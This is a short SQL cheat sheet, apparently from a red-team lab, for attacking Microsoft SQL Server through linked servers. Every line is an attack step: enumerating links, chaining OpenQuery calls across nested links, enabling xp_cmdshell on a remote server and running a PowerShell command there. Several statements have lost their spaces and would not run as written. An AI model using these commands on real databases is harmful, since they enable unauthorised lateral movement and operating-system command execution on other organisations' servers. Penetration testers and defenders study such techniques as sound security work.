/* Enumerate database links */select*frommaster..sysservers/* Run queries on a linked database through OpenQuery() */select*fromopenquery("dcorp-sql1", "select * from master..sysservers")/* Chain queries to access nested links */select*fromopenquery("dcorp-sql", 'select * from openquery("dcorp-mgmt", "select * from master..sysservers")')/* Enable xp_cmdshell */EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT"eu-sql"/* Execute commands using nested link queries */select * from openquery("dcorp-sql1", 'select * from openquery("dcorp-mgmt", "select * from openquery("eu-sql.eu.eurocorp.local", ""select @@version as version; exec master..xp_cmdshell "powershell whoami)"")")')